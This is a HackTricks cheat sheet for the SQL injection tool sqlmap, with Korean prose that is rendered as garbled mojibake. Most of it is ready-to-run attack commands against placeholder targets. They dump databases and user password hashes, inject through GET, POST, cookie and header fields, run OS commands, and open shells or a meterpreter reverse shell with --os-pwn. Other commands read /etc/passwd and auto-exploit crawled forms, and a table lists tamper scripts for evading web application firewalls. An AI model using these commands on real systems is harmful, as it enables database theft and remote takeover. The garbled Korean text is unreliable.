SQLMap - CheatSheet

Support HackTricks

์ทจ์•ฝ์  ํ‰๊ฐ€ ๋ฐ ์นจํˆฌ ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•œ ์ฆ‰์‹œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์„ค์ •. 20๊ฐœ ์ด์ƒ์˜ ๋„๊ตฌ ๋ฐ ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜์—ฌ ์–ด๋””์„œ๋‚˜ ์ „์ฒด ์นจํˆฌ ํ…Œ์ŠคํŠธ๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”. ์šฐ๋ฆฌ๋Š” ์นจํˆฌ ํ…Œ์Šคํ„ฐ๋ฅผ ๋Œ€์ฒดํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค - ์šฐ๋ฆฌ๋Š” ๊ทธ๋“ค์ด ๋” ๊นŠ์ด ํŒŒ๊ณ ๋“ค๊ณ , ์‰˜์„ ํ„ฐ๋œจ๋ฆฌ๊ณ , ์žฌ๋ฏธ๋ฅผ ๋Š๋‚„ ์ˆ˜ ์žˆ๋„๋ก ๋งž์ถคํ˜• ๋„๊ตฌ, ํƒ์ง€ ๋ฐ ์•…์šฉ ๋ชจ๋“ˆ์„ ๊ฐœ๋ฐœํ•ฉ๋‹ˆ๋‹ค.

SQLmap์„ ์œ„ํ•œ ๊ธฐ๋ณธ ์ธ์ˆ˜

์ผ๋ฐ˜

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

์ •๋ณด ๊ฒ€์ƒ‰

๋‚ด๋ถ€

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB ๋ฐ์ดํ„ฐ

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

์š”์ฒญ์„ ์บก์ฒ˜ํ•˜๊ณ  req.txt ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

sqlmap -r req.txt --current-user

GET ์š”์ฒญ ์ฃผ์ž…

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST ์š”์ฒญ ์ฃผ์ž…

sqlmap -u "http://example.com" --data "username=*&password=*"

ํ—ค๋” ๋ฐ ๊ธฐํƒ€ HTTP ๋ฉ”์„œ๋“œ์—์„œ์˜ ์ธ์ ์…˜

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

์ธ์ ์…˜์ด ์„ฑ๊ณตํ–ˆ์„ ๋•Œ ๋ฌธ์ž์—ด ํ‘œ์‹œ

--string="string_showed_when_TRUE"

Eval

Sqlmap๋Š” -e ๋˜๋Š” --eval์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „์†กํ•˜๊ธฐ ์ „์— ์ผ๋ถ€ ํŒŒ์ด์ฌ ์›๋ผ์ด๋„ˆ๋กœ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „์†กํ•˜๊ธฐ ์ „์— ์‚ฌ์šฉ์ž ์ •์˜ ๋ฐฉ์‹์œผ๋กœ ์‰ฝ๊ฒŒ ๋น ๋ฅด๊ฒŒ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ์˜ˆ์ œ์—์„œ flask ์ฟ ํ‚ค ์„ธ์…˜ ์€ ์ „์†กํ•˜๊ธฐ ์ „์— ์•Œ๋ ค์ง„ ๋น„๋ฐ€๋กœ flask์— ์˜ํ•ด ์„œ๋ช…๋ฉ๋‹ˆ๋‹ค:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

์…ธ

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

ํŒŒ์ผ ์ฝ๊ธฐ

--file-read=/etc/passwd

SQLmap์œผ๋กœ ์›น์‚ฌ์ดํŠธ ํฌ๋กค๋ง ๋ฐ ์ž๋™ ์ต์Šคํ”Œ๋กœ์ž‡

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

๋‘ ๋ฒˆ์งธ ์ฐจ์ˆ˜ ์ฃผ์ž…

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

์ด ๊ฒŒ์‹œ๋ฌผ์„ ์ฝ์–ด๋ณด์„ธ์š” sqlmap์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ„๋‹จํ•˜๊ณ  ๋ณต์žกํ•œ 2์ฐจ ์ฃผ์ž…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค.

์ฃผ์ž… ์‚ฌ์šฉ์ž ์ •์˜

์ ‘๋ฏธ์‚ฌ ์„ค์ •

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

์ ‘๋‘์‚ฌ

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

๋ถˆ๋ฆฌ์–ธ ์ธ์ ์…˜ ์ฐพ๊ธฐ ๋„์›€๋ง

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

๊ธฐ์–ตํ•˜์„ธ์š”, ๋‹น์‹ ์€ ํŒŒ์ด์ฌ์œผ๋กœ ์ž์‹ ์˜ tamper๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์œผ๋ฉฐ ๋งค์šฐ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ ๋‘ ๋ฒˆ์งธ ์ˆœ์„œ ์ฃผ์ž… ํŽ˜์ด์ง€์—์„œ tamper ์˜ˆ์ œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription

apostrophemask.py

์•„ํฌ์ŠคํŠธ๋กœํ”„ ๋ฌธ์ž๋ฅผ UTF-8 ์ „์ฒด ํญ ๋Œ€์‘ ๋ฌธ์ž๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

apostrophenullencode.py

์•„ํฌ์ŠคํŠธ๋กœํ”„ ๋ฌธ์ž๋ฅผ ๋ถˆ๋ฒ•์ ์ธ ์ด์ค‘ ์œ ๋‹ˆ์ฝ”๋“œ ๋Œ€์‘ ๋ฌธ์ž๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

appendnullbyte.py

ํŽ˜์ด๋กœ๋“œ ๋์— ์ธ์ฝ”๋”ฉ๋œ NULL ๋ฐ”์ดํŠธ ๋ฌธ์ž๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

base64encode.py

์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ Base64๋กœ ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค.

between.py

'>' ์—ฐ์‚ฐ์ž๋ฅผ 'NOT BETWEEN 0 AND #'๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

bluecoat.py

SQL ๋ฌธ ๋’ค์˜ ๊ณต๋ฐฑ ๋ฌธ์ž๋ฅผ ์œ ํšจํ•œ ๋ฌด์ž‘์œ„ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค. ์ดํ›„ '=' ๋ฌธ์ž๋ฅผ LIKE ์—ฐ์‚ฐ์ž๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

chardoubleencode.py

์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ ์ด์ค‘ URL ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค (์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ).

commalesslimit.py

'LIMIT M, N'๊ณผ ๊ฐ™์€ ์ธ์Šคํ„ด์Šค๋ฅผ 'LIMIT N OFFSET M'์œผ๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

commalessmid.py

'MID(A, B, C)'์™€ ๊ฐ™์€ ์ธ์Šคํ„ด์Šค๋ฅผ 'MID(A FROM B FOR C)'๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

concat2concatws.py

'CONCAT(A, B)'์™€ ๊ฐ™์€ ์ธ์Šคํ„ด์Šค๋ฅผ 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

charencode.py

์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ URL ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค (์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ).

charunicodeencode.py

์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋น„์ธ์ฝ”๋”ฉ ๋ฌธ์ž๋ฅผ ์œ ๋‹ˆ์ฝ”๋“œ URL ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค (์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ). "%u0022"

charunicodeescape.py

์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋น„์ธ์ฝ”๋”ฉ ๋ฌธ์ž๋ฅผ ์œ ๋‹ˆ์ฝ”๋“œ URL ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค (์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ). "\u0022"

equaltolike.py

'=' ์—ฐ์‚ฐ์ž์˜ ๋ชจ๋“  ๋ฐœ์ƒ์„ 'LIKE' ์—ฐ์‚ฐ์ž๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

escapequotes.py

์Šฌ๋ž˜์‹œ๋กœ ์ธ์šฉ๋ถ€ํ˜ธ ('์™€ ")๋ฅผ ์ด์Šค์ผ€์ดํ”„ํ•ฉ๋‹ˆ๋‹ค.

greatest.py

'>' ์—ฐ์‚ฐ์ž๋ฅผ 'GREATEST' ๋Œ€์‘ ๋ฌธ์ž๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

halfversionedmorekeywords.py

๊ฐ ํ‚ค์›Œ๋“œ ์•ž์— ๋ฒ„์ „์ด ์žˆ๋Š” MySQL ์ฃผ์„์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

ifnull2ifisnull.py

'IFNULL(A, B)'์™€ ๊ฐ™์€ ์ธ์Šคํ„ด์Šค๋ฅผ 'IF(ISNULL(A), B, A)'๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

modsecurityversioned.py

์ „์ฒด ์ฟผ๋ฆฌ๋ฅผ ๋ฒ„์ „์ด ์žˆ๋Š” ์ฃผ์„์œผ๋กœ ๊ฐ์Œ‰๋‹ˆ๋‹ค.

modsecurityzeroversioned.py

์ „์ฒด ์ฟผ๋ฆฌ๋ฅผ ์ œ๋กœ ๋ฒ„์ „ ์ฃผ์„์œผ๋กœ ๊ฐ์Œ‰๋‹ˆ๋‹ค.

multiplespaces.py

SQL ํ‚ค์›Œ๋“œ ์ฃผ์œ„์— ์—ฌ๋Ÿฌ ๊ฐœ์˜ ๊ณต๋ฐฑ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

nonrecursivereplacement.py

๋ฏธ๋ฆฌ ์ •์˜๋œ SQL ํ‚ค์›Œ๋“œ๋ฅผ ๊ต์ฒด์— ์ ํ•ฉํ•œ ํ‘œํ˜„์œผ๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: .replace("SELECT", "") ํ•„ํ„ฐ).

percentage.py

๊ฐ ๋ฌธ์ž ์•ž์— ๋ฐฑ๋ถ„์œจ ๊ธฐํ˜ธ ('%')๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

overlongutf8.py

์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค (์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ).

randomcase.py

๊ฐ ํ‚ค์›Œ๋“œ ๋ฌธ์ž๋ฅผ ๋ฌด์ž‘์œ„ ๋Œ€์†Œ๋ฌธ์ž ๊ฐ’์œผ๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

randomcomments.py

SQL ํ‚ค์›Œ๋“œ์— ๋ฌด์ž‘์œ„ ์ฃผ์„์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

securesphere.py

ํŠน๋ณ„ํžˆ ์ œ์ž‘๋œ ๋ฌธ์ž์—ด์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

sp_password.py

ํŽ˜์ด๋กœ๋“œ ๋์— 'sp_password'๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ DBMS ๋กœ๊ทธ์—์„œ ์ž๋™์œผ๋กœ ๋‚œ๋…ํ™”ํ•ฉ๋‹ˆ๋‹ค.

space2comment.py

๊ณต๋ฐฑ ๋ฌธ์ž (' ')๋ฅผ ์ฃผ์„์œผ๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

space2dash.py

๊ณต๋ฐฑ ๋ฌธ์ž (' ')๋ฅผ ๋Œ€์‹œ ์ฃผ์„ ('--')์œผ๋กœ ๊ต์ฒดํ•˜๊ณ  ๋ฌด์ž‘์œ„ ๋ฌธ์ž์—ด๊ณผ ์ƒˆ ์ค„ ('\n')์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

space2hash.py

๊ณต๋ฐฑ ๋ฌธ์ž (' ')๋ฅผ ํŒŒ์šด๋“œ ๋ฌธ์ž ('#')๋กœ ๊ต์ฒดํ•˜๊ณ  ๋ฌด์ž‘์œ„ ๋ฌธ์ž์—ด๊ณผ ์ƒˆ ์ค„ ('\n')์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

space2morehash.py

๊ณต๋ฐฑ ๋ฌธ์ž (' ')๋ฅผ ํŒŒ์šด๋“œ ๋ฌธ์ž ('#')๋กœ ๊ต์ฒดํ•˜๊ณ  ๋ฌด์ž‘์œ„ ๋ฌธ์ž์—ด๊ณผ ์ƒˆ ์ค„ ('\n')์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

space2mssqlblank.py

๊ณต๋ฐฑ ๋ฌธ์ž (' ')๋ฅผ ์œ ํšจํ•œ ๋Œ€์ฒด ๋ฌธ์ž ์ง‘ํ•ฉ์—์„œ ๋ฌด์ž‘์œ„ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

space2mssqlhash.py

๊ณต๋ฐฑ ๋ฌธ์ž (' ')๋ฅผ ํŒŒ์šด๋“œ ๋ฌธ์ž ('#')๋กœ ๊ต์ฒดํ•˜๊ณ  ์ƒˆ ์ค„ ('\n')์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

space2mysqlblank.py

๊ณต๋ฐฑ ๋ฌธ์ž (' ')๋ฅผ ์œ ํšจํ•œ ๋Œ€์ฒด ๋ฌธ์ž ์ง‘ํ•ฉ์—์„œ ๋ฌด์ž‘์œ„ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

space2mysqldash.py

๊ณต๋ฐฑ ๋ฌธ์ž (' ')๋ฅผ ๋Œ€์‹œ ์ฃผ์„ ('--')์œผ๋กœ ๊ต์ฒดํ•˜๊ณ  ์ƒˆ ์ค„ ('\n')์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

space2plus.py

๊ณต๋ฐฑ ๋ฌธ์ž (' ')๋ฅผ ๋”ํ•˜๊ธฐ ๊ธฐํ˜ธ ('+')๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

space2randomblank.py

๊ณต๋ฐฑ ๋ฌธ์ž (' ')๋ฅผ ์œ ํšจํ•œ ๋Œ€์ฒด ๋ฌธ์ž ์ง‘ํ•ฉ์—์„œ ๋ฌด์ž‘์œ„ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

symboliclogical.py

AND ๋ฐ OR ๋…ผ๋ฆฌ ์—ฐ์‚ฐ์ž๋ฅผ ๊ทธ๋“ค์˜ ๊ธฐํ˜ธ ๋Œ€์‘ ๋ฌธ์ž (&& ๋ฐ

unionalltounion.py

UNION ALL SELECT๋ฅผ UNION SELECT๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

unmagicquotes.py

์ธ์šฉ ๋ฌธ์ž (')๋ฅผ ๋‹ค์ค‘ ๋ฐ”์ดํŠธ ์กฐํ•ฉ %bf%27๋กœ ๊ต์ฒดํ•˜๊ณ  ๋์— ์ผ๋ฐ˜ ์ฃผ์„์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค (์ž‘๋™ํ•˜๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด).

uppercase.py

๊ฐ ํ‚ค์›Œ๋“œ ๋ฌธ์ž๋ฅผ ๋Œ€๋ฌธ์ž ๊ฐ’ 'INSERT'๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค.

varnish.py

HTTP ํ—ค๋” 'X-originating-IP'๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

versionedkeywords.py

๊ฐ ๋น„ํ•จ์ˆ˜ ํ‚ค์›Œ๋“œ๋ฅผ ๋ฒ„์ „์ด ์žˆ๋Š” MySQL ์ฃผ์„์œผ๋กœ ๊ฐ์Œ‰๋‹ˆ๋‹ค.

versionedmorekeywords.py

๊ฐ ํ‚ค์›Œ๋“œ๋ฅผ ๋ฒ„์ „์ด ์žˆ๋Š” MySQL ์ฃผ์„์œผ๋กœ ๊ฐ์Œ‰๋‹ˆ๋‹ค.

xforwardedfor.py

๊ฐ€์งœ HTTP ํ—ค๋” 'X-Forwarded-For'๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝ์  ํ‰๊ฐ€ ๋ฐ ์นจํˆฌ ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•œ ์ฆ‰์‹œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์„ค์ •. 20๊ฐœ ์ด์ƒ์˜ ๋„๊ตฌ ๋ฐ ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜์—ฌ ์–ด๋””์„œ๋‚˜ ์ „์ฒด ์นจํˆฌ ํ…Œ์ŠคํŠธ๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”. ์šฐ๋ฆฌ๋Š” ์นจํˆฌ ํ…Œ์Šคํ„ฐ๋ฅผ ๋Œ€์ฒดํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค - ๊ทธ๋“ค์—๊ฒŒ ๋” ๊นŠ์ด ํŒŒ๊ณ ๋“ค๊ณ , ์…ธ์„ ํ„ฐ๋œจ๋ฆฌ๊ณ , ์žฌ๋ฏธ๋ฅผ ๋Š๋‚„ ์ˆ˜ ์žˆ๋„๋ก ๋งž์ถคํ˜• ๋„๊ตฌ, ํƒ์ง€ ๋ฐ ์•…์šฉ ๋ชจ๋“ˆ์„ ๊ฐœ๋ฐœํ•ฉ๋‹ˆ๋‹ค.

HackTricks ์ง€์›ํ•˜๊ธฐ

Last updated